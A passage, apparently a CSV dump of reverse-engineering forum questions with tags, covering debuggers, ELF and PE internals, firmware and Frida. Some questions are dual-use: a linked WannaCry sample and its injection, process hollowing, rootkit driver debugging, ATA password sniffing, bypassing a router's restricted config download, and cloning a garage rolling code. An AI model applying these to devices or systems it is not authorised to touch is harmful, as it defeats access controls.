+00000000`6d613953 48895808        mov     qword ptr [rax+8],rbx ds:00000029`834f8930=0000016b0520f0a0
+0:000> t
+Time Travel Position: 6516CA:11D [Unindexed] Index
+MSVCR100!vsnprintf_l+0x7:
+00000000`6d613957 48896810        mov     qword ptr [rax+10h],rbp ds:00000029`834f8938=0000016b0520f000
+0:000> t
+
+ +This continues, I haven't traced all the way back to origin yet, I am wondering if there is some other way I could find likely code to create this problem. +" +"['android', 'java']"," Title: Load Library AndroidBody: I work as cybersecurity consultant, and now I am on mission to reverse engineering of mobile app. +I always reverse it using Jadx and dex2jar... the problem that after reverse them I found some native methods with like +system.libraryload("share_c++"), system.libraryload("android-network"), and system.securityloadlibrarry("mainJni") +But I can't find the .so or library files. Can anyone help me, please? +" +"['windows', 'x86', 'malware']"," Title: How does this wannacry sample work?Body: I downloaded wannacry sample here: https://github.com/fadyosman/WannaCrySample/releases. Don't forget to enter password for archive. + +I figured out how most of the binary works, except the very last part in WinMain located at 401FE7. I have the problem with reversing where if-block starts at 004020FE, there's a lot of gibberish code following. Wannacry calls the function at 4020F5 which loads ADVAPI32.dll and KERNEL32.dll and gets function handles. Instruction at 402112 calls the function which prepares the decryption key to be used further. Before it wannacry unpacks an archive with several files. 40212D calls function which decrypts t.wnry and stores contents somewhere in process space. This is all I know for sure except unnecessary details. So I have a few questions: + +
    +
  1. When program calls 4012FD function at 402104, what does this function do? The main body doesn't have meaningful code. There are several functions nested in it which call InitializeCriticalSection().
  2. +
  3. There are 2 functions located at 4021BD and 402924. The first one calls another functions with arguments referring to functions like VirtualAlloc, VirtualFree, LoadLibrary, etc. 402924 just contains some magic code. I realize this is where wannacry launcher transmits execution to another process, I just want to know the mechanism how it does in general.
  4. +
  5. Btw wannacry loads several functions from KERNEL32.dll which it already had, why does it load them again?
  6. +
+" +"['ida', 'dll', '.net']"," Title: Attach one debugger to a DotNet application, and a second one to a loaded DLLBody: I'm trying to reverse an application that is using a DLL that i'm interested in. + +I can properly disassemble the application itself with DnSpy, as it is a .Net application, and I can disassemble the used DLL with IDA, as it's a native C shared library. + +I am using x64dbg as a debugger, and i would like to see the interactions between the application and the DLL. I can properly break on the DLL by loading the .Net app into x64Dbg, and waiting for a DLL call, and it's fine. + +But the fact that x64dbg does not support .Net syntax make it very weird to play with when the flow came back from the DLL to the application, and i would like to do the following: + + + +But i can't manage to do that, since the root process (the .Net application) cannot be debugged by two debugger at the same time. + +How can i setup x64dbg to intercept the DLL without attaching it to the .Net process ? + +Is it even possible to do that ? + +Or maybe I'm unaware of some magic tools that would help me ? + +Any idea ? + +Thanks :) +" +"['ida', 'struct', 'type-reconstruction']"," Title: What is the difference between uintX_n (used in IDA Pro) and unitX_t types?Body: During debugging a binary in IDA Pro, I've noticed types of the form +
30  uint16_n                            00000002                struct {uint16_t inner;}
+42  uint32_n                            00000004                struct {uint32_t inner;}
+
+where the fields in each row from left to right correspond to Ordinal, name, size, description in the Local Types subview of IDA Pro. While the sizes seem to match the uintX_t counterparts, I would appreciate it if someone can explain the reasoning for introducing uintX_n types and the difference they have with the well known uintX_t types in which X=8,16,32. +" +"['flash', 'websites']"," Title: Reverse Engineering an ERP interface written in FlashBody: My college has its ERP platform in a Flash interface, accessible only via Internet Explorer. I am looking into ways I can interface with it via things like ruffle. So I can write my own frontend using modern frameworks. Thing is, accessing the ERP from anything other Internet Explorer results in the browser download a Flash file campus-lynx.swf. This means the platform is locked to Windows only. Flashfox on Android works as well. +The ERP is available directly at erp.nitdelhi.ac.in or clicking "internet" at the top of nitdelhi.ac.in. +" +"['.net', 'dnspy']"," Title: dnSpy: how to start 32 bit versionBody: I am very unsure if this is the right place to as or if I need to ask this at another forum, but here it goes. +I am trying to reverse engineer a .NET program with the use of dnspy. I installed dnspy with choco install dnspy. I was then able to start dnspy in by calling it in pwsh, but when debugging the program I get the following error Could not start the debugger. Use 32-bit dnSpy to debug 32-bit applications. I then found this link that said to restart the debugger with dnspy-x86. But still the debugger is 64 bit. I also tried to run dnspy by running dnspy -x86. +I see here in chocolatey.org that the 32 bit is checked in virustotal. But I am unsure if the 32-bit version is included. I also cant find any information on flags or parameters dnspy is able to take. +My question is if dnspy 32 bit is installed by using choco or if one has to install the 32-bit manually. And if dnspy 32 bit is installed with choco, how do I start it in 32 bit. +" +"['ida', 'disassembly', 'windows', 'malware']"," Title: Using windows 10 for malware analysisBody: I want to ask can I use windows 10 for malware analysis, I'm asking this because I see many reversers and analysts using windows 7 for this purpose. Can anyone please guide me? +" +"['ida', 'c++', 'development']"," Title: How to avoid database / code mismatch when developing and debugging your own code in IDA?Body: This seems like a very basic use case and I can't get it to work properly. I'm developing my own test application in Visual Studio c++. I want to test it through several IDA debugging sessions. Every time I modify the code, recompile and try to debug it, IDA warns me that the input has changed and that I should reload the binary, which I do through "File -> Load file -> Reload input file". I then go to "Options -> General -> Analysis -> Reanalyze program". +Is this the correct way to do things? +I'm also quite concerned because sometimes this loop fails as the function window show many (more) functions with (null) name and "sp analysis failed" all over the disassembly. I then have to close the project and start a new one, which is rather annoying. +Any pointers on how to speed this whole thing up are welcome. Please note that I'm much less interested in removing the errors messages than removing the problems associated with them. +" +"['malware', 'windbg', 'kernel']"," Title: Is there an easier way to break on a rootkit driver load, other than disassembling IopLoadDriver?Body: The only method i know to break on a DriverEntry of a rootkit driver when its loaded is to disassmble nt!IopLoadDriver and find an indirect call in it and break on it. Setting a break point on rootkitDriverName!DriverEntry doesn't work either for some reason. +Is there any easier way to break on the rootkit driver entry? Why does rootkitDriverName!DriverEntry not work? +" +"['function-hooking', 'syscall']"," Title: Why do some antiviruses hook x64 Ntdll in WOW64 process?Body: Why do some antiviruses hook x64 Ntdll in WOW64 process? However, the same antiviruses do not hook Ntdll in the native x64 processes. +" +"['ida', 'assembly', 'c']"," Title: Assuming x is a number smaller than 0xff what happens to x after the assignment LOBYTE(x)=x-1?Body: I understand that LOBYTE is an IDA macro for retrieving the lower byte of a variable. My question is what is the difference between the result of x=x-1 and LOBYTE(x)=x-1 when x is smaller than or equal to 0xff? I should add that I'm implicitly assuming that x>0. Thank you! +" +"['windows', 'pe', 'kernel']"," Title: What is the role of PAGE section in windows Drivers?Body: I have seen many drivers with a section named PAGE, but couldn't find good enough information on it, what is the role of this section? +" +"['ida', 'debugging', 'binary-analysis', 'malware', 'disassemblers']"," Title: The Knowledge of Compiler for becoming a good ReverserBody: I just reached the the topic of Compilers in the book "Reversing:Secrets of Reverse Engineering" So, I want to ask, is the knowledge of Compilers necessary for becoming a Malware Reverse Engineer? +Can anyone please guide me? ☺️ +" +"['pe', 'injection', 'process', 'iat']"," Title: Import Address Table in Process HollowingBody: I know that the PE loader is the one that is responsible for assigning addresses in a PE Import Address Table, so why when we inject code using process hollowing we don't build the IAT? +We just copy all the sections and headers but we don't resolve the addresses in the IAT. I don't understand how it works, does the resolving happens after the injection or something? +" +"['windbg', 'kernel']"," Title: Windbg .thread command is useless?Body: The ".thread" command is used to change the thread context in Windows kernel debugging. +MSDN +But I encountered the below situation: +
    +
  1. Execute the following two commands consecutively. +The first command set thread context to ffffc08213599040, but it Actually still ffffc08229313080.
  2. +
+
0: kd> .thread ffffc082`13599040          
+Implicit thread is now ffffc082`13599040
+0: kd> .thread
+Implicit thread is now ffffc082`29313080   
+
+2.Execute the following two commands consecutively. I want to change the rip of the thread ffffc08213599040, But command "r rip=xxx" failed. +
0: kd> .thread ffffc082`13599040
+Implicit thread is now ffffc082`13599040
+0: kd> r rip = fffff803`3de6341d
+Last set context:
+                               ^ Bad register error in 'r rip = fffff803`3de6341d'
+
+" +"['networking', 'game-hacking', 'hexadecimal']"," Title: Restoring online functionality of an obsucure Korean PS2 horror gameBody: Last year I posted for help in order to reverse-engineer and translate a Korean exclusive Horror game for the Playstation 2 called Mystic Nights. Here is the Original Post. +Thanks to the kind folks here as well as a lot of trial and error, I finally finished the translation 6 or so months ago. +The game has an online mode to play with Friends [Network Mode] but Sony's korean servers for this game have been down for several years. Is there a way to ge this mode working again with hamachi or something? Any help would be greatly appreciated. There is no footage online about this game's multiplayer mode so this is very interesting. +" +"['ghidra', 'python']"," Title: How do I get the all the basic binary blocks containing a special instruction like 'CALL' or 'RET' using python in Ghidra?Body: I am using Ghidra to do reverse engineering of an ARM binary. I want to print the disassembly of all blocks across all functions containing a specific instruction like 'CALL' or 'RET'. How do I do that? +" +"['ida', 'process', 'script', 'idc']"," Title: Is there a way to resume execution of a process for a given amount of time then suspend it?Body: I am using the following IDC script in IDA: +
#include <idc.idc>
+
+static main()
+{   
+    for (i=0; i<10; i++)
+    {                           
+        PauseProcess();
+        
+        GetDebuggerEvent(WFNE_SUSP, -1);
+        Message("%s\n", GetFunctionName(ScreenEA()));
+            
+        ResumeProcess();    
+
+        //Sleep(50);                      //does not work, see remarks below
+        //GetDebuggerEvent(WFNE_SUSP, 1); //same
+    }
+}
+
+The main idea is to pause/resume process at regular intervals and check what is the current function (for profiling purposes). +What I am searching for is a IDC function that will pause the script for a given amount of time (eg : 50ms) while the process will be still running. A function that would resume debugged process execution from a suspended state and run code for a given amount of time will be OK too. +What I have tried so far : + +" +['elf']," Title: Is an ELF SHT_RELA section with a 0 `sh_link` valid?Body: I have an 64-bit s390x ELF binary with a RELA section named ".rela.plt" whose sh_link field is 0. I was under the impression that the sh_link is a required value, providing the id of the section where the symbols used by the relocations are stored. +If I run objdump on the binary no information about any relocations is emitted, hinting that perhaps there are no relocations to be done. The following is repored by readelf: +
There are 36 section headers, starting at offset 0xa91c8:
+
+Section Headers:
+  [Nr] Name              Type             Address           Offset
+       Size              EntSize          Flags  Link  Info  Align
+  [ 0]                   NULL             0000000000000000  00000000
+       0000000000000000  0000000000000000           0     0     0
+  [ 1] .note.ABI-tag     NOTE             0000000080000190  00000190
+       0000000000000020  0000000000000000   A       0     0     4
+  [ 2] .note.gnu.build-i NOTE             00000000800001b0  000001b0
+       0000000000000024  0000000000000000   A       0     0     4
+  [ 3] .rela.plt         RELA             00000000800001d8  000001d8
+       0000000000000018  0000000000000018  AI       0    23     8
+  [ 4] .init             PROGBITS         00000000800001f0  000001f0
+       000000000000004c  0000000000000000  AX       0     0     4
+  [ 5] .plt              PROGBITS         000000008000023c  0000023c
+       0000000000000020  0000000000000000  AX       0     0     4
+  [ 6] .text             PROGBITS         0000000080000260  00000260
+       000000000006c328  0000000000000000  AX       0     0     16
+  [ 7] __libc_freeres_fn PROGBITS         000000008006c588  0006c588
+       0000000000000f18  0000000000000000  AX       0     0     8
+  [ 8] __libc_thread_fre PROGBITS         000000008006d4a0  0006d4a0
+       00000000000000f0  0000000000000000  AX       0     0     8
+  [ 9] .fini             PROGBITS         000000008006d590  0006d590
+       0000000000000034  0000000000000000  AX       0     0     4
+  [10] .rodata           PROGBITS         000000008006d5c8  0006d5c8
+       000000000001d810  0000000000000000   A       0     0     8
+  [11] __libc_subfreeres PROGBITS         000000008008add8  0008add8
+       0000000000000058  0000000000000000   A       0     0     8
+  [12] __libc_atexit     PROGBITS         000000008008ae30  0008ae30
+       0000000000000008  0000000000000000   A       0     0     8
+  [13] __libc_thread_sub PROGBITS         000000008008ae38  0008ae38
+       0000000000000008  0000000000000000   A       0     0     8
+  [14] .eh_frame         PROGBITS         000000008008ae40  0008ae40
+       000000000000aa2c  0000000000000000   A       0     0     8
+  [15] .gcc_except_table PROGBITS         000000008009586c  0009586c
+       00000000000000c5  0000000000000000   A       0     0     1
+  [16] .tdata            PROGBITS         0000000080096ed0  00095ed0
+       0000000000000020  0000000000000000 WAT       0     0     8
+  [17] .tbss             NOBITS           0000000080096ef0  00095ef0
+       0000000000000034  0000000000000000 WAT       0     0     8
+  [18] .fini_array       FINI_ARRAY       0000000080096ef0  00095ef0
+       0000000000000008  0000000000000000  WA       0     0     8
+  [19] .ctors            PROGBITS         0000000080096ef8  00095ef8
+       0000000000000010  0000000000000000  WA       0     0     8
+  [20] .dtors            PROGBITS         0000000080096f08  00095f08
+       0000000000000010  0000000000000000  WA       0     0     8
+  [21] .jcr              PROGBITS         0000000080096f18  00095f18
+       0000000000000008  0000000000000000  WA       0     0     8
+  [22] .data.rel.ro      PROGBITS         0000000080096f20  00095f20
+       00000000000000e0  0000000000000000  WA       0     0     8
+  [23] .got              PROGBITS         0000000080097000  00096000
+       00000000000000c8  0000000000000008  WA       0     0     8
+  [24] .data             PROGBITS         00000000800970c8  000960c8
+       00000000000019c8  0000000000000000  WA       0     0     8
+  [25] .bss              NOBITS           0000000080098a90  00097a90
+       0000000000002070  0000000000000000  WA       0     0     8
+  [26] __libc_freeres_pt NOBITS           000000008009ab00  00097a90
+       0000000000000030  0000000000000000  WA       0     0     8
+  [27] .comment          PROGBITS         0000000000000000  00097a90
+       0000000000000034  0000000000000001  MS       0     0     1
+  [28] .debug_aranges    PROGBITS         0000000000000000  00097ac4
+       0000000000000030  0000000000000000           0     0     1
+  [29] .debug_info       PROGBITS         0000000000000000  00097af4
+       00000000000000ed  0000000000000000           0     0     1
+  [30] .debug_abbrev     PROGBITS         0000000000000000  00097be1
+       000000000000007f  0000000000000000           0     0     1
+  [31] .debug_line       PROGBITS         0000000000000000  00097c60
+       000000000000004c  0000000000000000           0     0     1
+  [32] .debug_str        PROGBITS         0000000000000000  00097cac
+       00000000000000d3  0000000000000001  MS       0     0     1
+  [33] .shstrtab         STRTAB           0000000000000000  000a903e
+       0000000000000186  0000000000000000           0     0     1
+  [34] .symtab           SYMTAB           0000000000000000  00097d80
+       000000000000ae00  0000000000000018          35   759     8
+  [35] .strtab           STRTAB           0000000000000000  000a2b80
+       00000000000064be  0000000000000000           0     0     1
+Key to Flags:
+  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
+  L (link order), O (extra OS processing required), G (group), T (TLS),
+  C (compressed), x (unknown), o (OS specific), E (exclude),
+  p (processor specific)
+
+In addition, on stderr I see: +
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
+
+Should I be interpreting the zero sh_link for the ".rela.plt" section as a hint that there is no work to be done? +" +['hardware']," Title: How devices such as smart Wi-Fi power plugs and Wi-Fi ip cameras connect to a private Wi-Fi network?Body: How devices such as smart Wi-Fi power plugs and Wi-Fi ip cameras connect to a private Wi-Fi network ? +The usual steps are the following : +
    +
  1. You buy the device +
  2. +
  3. You install the maker application on your +smartphone +
  4. +
  5. You discover the device trough the application +
  6. +
  7. You set up your private Wi-Fi password network on the device trough the +application +
  8. +
  9. The device reboot +
  10. +
  11. Then the device appears on your +private network. +
  12. +
+What are the technologies/protocol behind that steps ? +Let's say that in 10 years the maker application will not exists anymore. How I will be able to connect my device to my network ? What about password security during step 4? +" +"['binary-analysis', 'register', 'callstack', 'arguments']"," Title: usercalls in old Win32 gameBody: I am currently analyzing an old Win32 game from 1999 that was probably compiled with Visual C++ 6 and was programmed in C. +I noticed that there are almost no usercalls (i.e. calls that use registers to pass arguments) except for calls in the statically linked CRT library. Is this a reasonable assumption for a game of this age? +To identify registers used as function paramters I used an algorithm similar to the one described in this IDA blog post. The algorithm identifies PUSH/POP pairs and searches for registers usages before any assignment except in the PUSH/POP pairs. +" +"['firmware', 'hardware', 'protocol']"," Title: Is it possible to sniff an ATA Drive password?Body: Context: I have a proprietary Tandberg Data RDX QuickStor Internal USB3 drive bay for PC (item number 8666-RDX) and some storage cartridges for it. +Esentially, these are just regular TOSHIBA MK3276GSX 2.5" SATA drives in some fancy housing and the corresponding SATA-to-USB-3.0 adapter bay. +The catch: The SATA Drives are protected with an ATA password and the bay unlocks them when inserted. I cannot use them if i connect them directly to my PC and all of my attempts at triggering an ATA Secure erase or obtaining an OEM master password failed. +My question: Is there a sane way to obtain the ATA password, e.g. by soldering a few wires onto the SATA connector in the drive bay and recording some data with an oscilloscope for later analysis? +I once asked about this on the superuser stack exchange but the answers were limited to software based solutions. I wasn't able to succed with that approach. +" +"['c++', 'strings', 'software-security']"," Title: C++ hide string parameter for string viewerBody:
bool isLaunched = CreateProcessW(
+    L"C:\\Windows\\System32\\Notepad.exe",      //  Should be shown in any string viewer or decompiler.
+    0x0,
+    0x0,
+    0x0,
+    TRUE,
+    0,
+    0x0,
+    0x0,
+    &info,
+    &processInfo
+);
+
+The application is shown in plaintext in IDA, how would I make this not as simple / easy to see to where a noob can't just load into IDA and see it. +" +['router']," Title: How to download restricted backup config file on HG8245H routerBody: I have HG8245H router and I want to download backup config file to which I dont have access as regular user in my case its caled root. So I downloaded firmware of my router and extracted it using binwalk and found .asp files in particlar cfgfile.asp and cfgfileroot.asp. Cfgfile.asp contain this snippet of java code below which is missing in page from where I should download configs so I opened `Inspect Elements in Firefox and add it in side java tags +
function backupSetting() {
+ 
+    var Form = new webSubmitForm();
+    Form.setAction('cfgfiledown.cgi?&RequestFile=html/management/cfgfile.asp');
+    Form.addParameter('x.X_HW_Token', getValue('onttoken'));
+    Form.submit();
+}
+
+Also cfgfileroot.asp had missing html code so I added that to after regular code +
  <table width="100%" height="5" border="0" cellpadding="0" cellspacing="0"> 
+    <tr> 
+      <td> </td> 
+    </tr> 
+  </table> 
+  <table width="100%" cellpadding="0" cellspacing="0"> 
+    <tr> 
+      <td> <input style="width:150px" class="submit" name="saveconfigbutton" id="saveconfigbutton" type='button' onClick='SaveSetting()' BindText="s0709"> </td> 
+      <td> <input style="width:150px" class="submit" name="btnsaveandreboot" id="btnsaveandreboot" type='button' onClick='SaveandReboot()' BindText="s070a"> </td> 
+    </tr> 
+  </table> 
+</div> 
+<table width="100%" height="18" border="0" cellpadding="0" cellspacing="0"> 
+  <tr> 
+    <td> </td> 
+  </tr> 
+</table> 
+<script language="JavaScript" type="text/javascript">
+    if(curUserType != sysUserType)
+    {
+        document.write('<div id="downloadConfig" style="display:none"> ');
+    }
+    else
+    {
+        document.write('<div id="downloadConfig"> ');
+    }
+</script>
+
+  <table width="100%" border="0" cellspacing="0" cellpadding="0"> 
+    <tr> 
+      <td class="prompt"> 
+        <table width="100%" border="0" cellspacing="0" cellpadding="0"> 
+          <tr> 
+            <td class="title_common" BindText="s070b"></td> 
+          </tr> 
+        </table>
+      </td> 
+    </tr> 
+  </table> 
+  <table width="100%" height="5" border="0" cellpadding="0" cellspacing="0"> 
+    <tr> 
+      <td> </td> 
+    </tr> 
+  </table> 
+  <table width="100%" cellpadding="0" cellspacing="0"> 
+    <tr> 
+      <td> 
+        <input class="submit" style="width:220px" name="downloadconfigbutton" id="downloadconfigbutton" type='button' onClick='backupSetting()' BindText="s070c" >
+      </td> 
+    </tr> 
+  </table> 
+</div> 
+<form action="cfgfileupload.cgi?RequestFile=html/management/reset.asp&FileType=config&RequestToken=<%HW_WEB_GetToken();%>" method="post" enctype="multipart/form-data" name="fr_uploadSetting" id="fr_uploadSetting"> 
+  
+<script language="JavaScript" type="text/javascript">
+    if(curUserType != sysUserType)
+    {
+        document.write('<div id="uploadConfig" style="display:none">');
+    }
+    else
+    {
+        document.write('<div id="uploadConfig">');
+    }
+</script>
+
+    <table width="100%" height="10%" border="0" cellspacing="0" cellpadding="0"> 
+      <tr> 
+        <td class="prompt"> 
+          <table width="100%" border="0" cellspacing="0" cellpadding="0"> 
+            <tr> 
+              <td class="title_common" BindText="s070d"></td> 
+            </tr> 
+          </table>
+        </td> 
+      </tr> 
+    </table> 
+    <table width="100%" height="5" border="0" cellpadding="0" cellspacing="0"> 
+      <tr> 
+        <td> </td> 
+      </tr> 
+    </table> 
+    <table> 
+      <tr> 
+        <td BindText="s070e"></td> 
+        <td> 
+            <div class="filewrap"> 
+            <div class="fileupload"> 
+              <input type="hidden" name="onttoken" id="hwonttoken" value="<%HW_WEB_GetToken();%>"> 
+              <input type="text" id="f_file" autocomplete="off" readonly="readonly" /> 
+              <input type="file" name="browse" id="t_file" size="1"  onblur="StartFileOpt();" onchange="fchange();" /> 
+              <input id="btnBrowse" type="button" class="submit" BindText="s070f" /> 
+            </div> 
+            </div>
+        </td> 
+        <td> <input class="submit" name="btnSubmit" id="btnSubmit" type='button' onclick='uploadSetting();' BindText="s0710" /> </td> 
+      </tr> 
+    </table> 
+  </div> 
+</form> 
+
+<script>
+var all = document.getElementsByTagName("td");
+for (var i = 0; i < all.length; i++)
+{
+    var b = all[i];
+    var c = b.getAttribute("BindText");
+    if(c == null)
+    {
+        continue;
+    }
+    b.innerHTML = ssmpLanguage[c];
+}
+
+var all = document.getElementsByTagName("input");
+for (var i = 0; i < all.length; i++)
+{
+    var b = all[i];
+    var c = b.getAttribute("BindText");
+    if(c == null)
+    {
+        continue;
+    }
+    b.value = ssmpLanguage[c];
+}
+</script>
+
+Here is how it look's modified + +After that I gone from this page displayed below + +to + +But when I click Downlod configuration file nothing happens :( +If you have HG8245 or HG8245H plese log in as in my case telecomadmin or user with wich you can access to backup config and send me content of https://192.168.100.1:80/html/managment/cfgfileroot.asp that page +" +"['android', 'java', 'function-hooking', 'frida']"," Title: Frida reading files is slowBody: I need to read a file around 2 MB into a byte array. +
var fis = Java.use("java.io.FileInputStream");
+var file = fis.$new("/data/local/file.txt");
+var fileBytes = new Uint8Array(file.available());
+var x;
+while ((x = file.read()) != -1)
+    fileBytes.push(x);
+
+I'm using the code above but it's reading ~100 kb/s which takes ~20 seconds in my case. +I also tried with ByteArrayOutputStream with 1, 4, 16kb buffers but result isn't any different. +I believe a native Java function which takes Inputfilestream and returns a bytearray will fix my issue, but I couldn't find any. +How can I make this process faster? +I'm actually trying to use it with okio.ByteString which has a .read() method, but I can't access it from Frida. It's undefined. +" +['dll']," Title: Adding an export entry into dll fileBody: There is an dll file which i need to edit, Using PE Explorer option, Export Viewer i can see a long list of items and i suppose each entry is called "Export Function". Using notepad++ i can access those items but since is a binary file any edit to it would lead to a crash. I have no knowledge in reverse engineering but i need to add several items into export table of this dll in order to remove the current limitation that i am stuck with. as i understand i must use a hex editor and first edit something called "ExportDirectory.NumberOfFunctions" which i am unable to find. Probably because i am looking in the wrong direction. +I understand there is no easy way to do this, so i am open to learning if is not possible to do this using any tools. +Regards +" +"['ida', 'disassembly', 'motorola']"," Title: Correct target of absolute jmp in IDABody: In the firmware I am reversing (for a 16-bit MCU), there is code that copies the code of a function from flash memory to RAM, then jumps to it for execution: +
F000:FEFF : mmap'ed location of function code in flash memory
+2400:32FF : RAM location where the function code is copied
+
+Inside said copied function, there are absolute jmps, such as: +
jmp     loc_2838
+
+The operand is the absolute address 2838. Unfortunately, in the disassembly, this address is in the RAM area and it contains only 0s obviously. The corresponding code in the flash area of the disassembly is at F438 (F000 + 2838-2400 = F000 + 438). Is there a way to apply a jmp target correction so that IDA understands that the target code of the jump is F438 instead of 2838? +This would correct the XREFs, repeatable comments and would make navigation easier. It would be nice also if there was a mechanism to correct all absolute references in a section of code, but I don't mind correcting all absolute references manually. +

EDIT

+One thing that wasn't clear in my question is that there are both absolute and relative references in the block of code copied to RAM. Therefore, creating a segment with a different base to encompass that code would not work since it would correct the absolute references, and break the relative references. +" +"['game-hacking', 'api', 'api-hacking', 'api-reversing']"," Title: Reverse Engineering API's of Browser gamesBody: I like the idea of Reverse Engineering API's and creating bots/scripts for Browser games. However, I am a beginner in the Computer Science field. I recently started my Computer Science Degree and would like to know what modules should I look out for that typically covers this sort of thing. +We have a course in second year labelled - 'Full Stack Developing' would that be something I should take? +" +"['file-format', 'embedded', 'memory-dump', 'flash', 'router']"," Title: Detecting and reading embedded filesystems on desktop LinuxBody: I have some data from a NAND chip, dumped using the built in nanddump utility on the embedded device. +This is the device information: https://openwrt.org/toh/bt/homehub_v5a The NAND chip is 128MiB Spansion ML01G100BHI00 +I have processed the dump using the Python ubi_reader (https://github.com/jrspruitt/ubi_reader) which shows information that fits and produces some files: +
128K    img-2097163413_vol-caldata.ubifs
+15M img-2097163413_vol-FFS.ubifs
+21M img-2097163413_vol-OpenRG.ubifs
+
+I've tried mounting any of these (especially the last two) with commands including the below: +
sudo mount -o loop img-2097163413_vol-FFS.ubifs /mnt/tmp
+sudo mount -t jffs2 -o loop img-2097163413_vol-FFS.ubifs /mnt/tmp
+sudo mount -t ubifs -o loop img-2097163413_vol-FFS.ubifs /mnt/tmp
+
+But I get different errors, including: +
mount: /mnt/tmp: wrong fs type, bad option, bad superblock on /dev/loop16, missing codepage or helper program, or other error
+
+I am running Ubuntu 20.04 and have the mtd-utils installed. I don't know if I need a special kernel module (or a custom kernel build) to be able to read these on a desktop build of Linux? +Running binwalk gives quite a lot of output, but I'm not convinced it really helps: +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             UBIFS filesystem superblock node, CRC: 0x18587199, flags: 0x0, min I/O unit size: 2048, erase block size: 129024, erase block count: 662, max erase blocks: 662, format version: 4, compression type: lzo
+129024        0x1F800         UBIFS filesystem master node, CRC: 0x2AB14864, highest inode: 64, commit number: 0
+131072        0x20000         UBIFS filesystem master node, CRC: 0xB8679430, highest inode: 64, commit number: 0
+133120        0x20800         UBIFS filesystem master node, CRC: 0xCFA58C39, highest inode: 68, commit number: 1
+135168        0x21000         UBIFS filesystem master node, CRC: 0x49224F4A, highest inode: 68, commit number: 1
+137216        0x21800         UBIFS filesystem master node, CRC: 0xF356AD50, highest inode: 68, commit number: 1
+139264        0x22000         UBIFS filesystem master node, CRC: 0x1C09B66E, highest inode: 68, commit number: 2
+141312        0x22800         UBIFS filesystem master node, CRC: 0x85E22D40, highest inode: 68, commit number: 3
+143360        0x23000         UBIFS filesystem master node, CRC: 0xD2CCE2D1, highest inode: 100, commit number: 4
+145408        0x23800         UBIFS filesystem master node, CRC: 0x4FA2D61B, highest inode: 134, commit number: 5
+147456        0x24000         UBIFS filesystem master node, CRC: 0x13B828D, highest inode: 178, commit number: 6
+149504        0x24800         UBIFS filesystem master node, CRC: 0x462195E8, highest inode: 219, commit number: 7
+151552        0x25000         UBIFS filesystem master node, CRC: 0xA8F61781, highest inode: 219, commit number: 8
+153600        0x25800         UBIFS filesystem master node, CRC: 0x3A0CCA43, highest inode: 244, commit number: 9
+155648        0x26000         UBIFS filesystem master node, CRC: 0xF3B91383, highest inode: 244, commit number: 10
+157696        0x26800         UBIFS filesystem master node, CRC: 0xC962E252, highest inode: 267, commit number: 11
+159744        0x27000         UBIFS filesystem master node, CRC: 0xB37C99F7, highest inode: 307, commit number: 12
+161792        0x27800         UBIFS filesystem master node, CRC: 0x379C342E, highest inode: 347, commit number: 13
+163840        0x28000         UBIFS filesystem master node, CRC: 0x906A63C7, highest inode: 347, commit number: 13
+165888        0x28800         UBIFS filesystem master node, CRC: 0x2BCBF93, highest inode: 347, commit number: 13
+167936        0x29000         UBIFS filesystem master node, CRC: 0x70D2F699, highest inode: 347, commit number: 14
+169984        0x29800         UBIFS filesystem master node, CRC: 0x348E6DCE, highest inode: 347, commit number: 15
+258048        0x3F000         UBIFS filesystem master node, CRC: 0x2681BD79, highest inode: 64, commit number: 0
+260096        0x3F800         UBIFS filesystem master node, CRC: 0x9CF55F63, highest inode: 64, commit number: 0
+262144        0x40000         UBIFS filesystem master node, CRC: 0xDBF4931E, highest inode: 68, commit number: 1
+264192        0x40800         UBIFS filesystem master node, CRC: 0x6DB08419, highest inode: 68, commit number: 1
+266240        0x41000         UBIFS filesystem master node, CRC: 0xFF66584D, highest inode: 68, commit number: 1
+268288        0x41800         UBIFS filesystem master node, CRC: 0x10394373, highest inode: 68, commit number: 2
+270336        0x42000         UBIFS filesystem master node, CRC: 0x89D2D85D, highest inode: 68, commit number: 3
+272384        0x42800         UBIFS filesystem master node, CRC: 0xF65E2982, highest inode: 100, commit number: 4
+274432        0x43000         UBIFS filesystem master node, CRC: 0x43922306, highest inode: 134, commit number: 5
+276480        0x43800         UBIFS filesystem master node, CRC: 0x156A9DAA, highest inode: 178, commit number: 6
+278528        0x44000         UBIFS filesystem master node, CRC: 0x62B35EBB, highest inode: 219, commit number: 7
+280576        0x44800         UBIFS filesystem master node, CRC: 0x67935A0C, highest inode: 219, commit number: 8
+282624        0x45000         UBIFS filesystem master node, CRC: 0x1E9E0110, highest inode: 244, commit number: 9
+284672        0x45800         UBIFS filesystem master node, CRC: 0x9213CFCB, highest inode: 244, commit number: 10
+286720        0x46000         UBIFS filesystem master node, CRC: 0xC552174F, highest inode: 267, commit number: 11
+288768        0x46800         UBIFS filesystem master node, CRC: 0xBF4C6CEA, highest inode: 307, commit number: 12
+290816        0x47000         UBIFS filesystem master node, CRC: 0x3BACC133, highest inode: 347, commit number: 13
+292864        0x47800         UBIFS filesystem master node, CRC: 0x9C5A96DA, highest inode: 347, commit number: 13
+294912        0x48000         UBIFS filesystem master node, CRC: 0x47A9DC28, highest inode: 347, commit number: 13
+296960        0x48800         UBIFS filesystem master node, CRC: 0x6483E9BE, highest inode: 347, commit number: 14
+299008        0x49000         UBIFS filesystem master node, CRC: 0x38BE98D3, highest inode: 347, commit number: 15
+9045944       0x8A07B8        MySQL MISAM compressed data file Version 10
+
+Is it possible to mount these images? Otherwise, what is the best way to access the information on the NAND dump? +" +"['crc', 'remote', 'unknown-data']"," Title: reverse a RF rolling codeBody: I have the following codes from a rolling code RF garage fob I want to duplicate. +There is a duplicator remote that able to get one code and learn the sequrence from it: +https://www.ebay.com/itm/V2-Remote-Control-V2-Phox-2-or-4-TRC-4-TXC-2-TXC-4-Handy-2-Handy-4/174325345483?hash=item289699accb:g:vSMAAOSw--Ne8IHi +But I need to understand how to produce the sequence myself to operate it from my smart-house hub +I can produce more if necessary but this is a sample from the series: +Bytes 0-8 are constants +Byte 10 changes every 4th click +
_____________
+ff641a07f72f9
+ff641a07fd2c7
+ff641a07f3266
+ff641a07f9258
+ff641a07f4de9
+ff641a07fedd7
+ff641a07f0d76
+ff641a07fad48
+ff641a07ff0f5
+ff641a07f50cb
+ff641a07fb06a
+ff641a07f1054
+ff641a07fcfe5
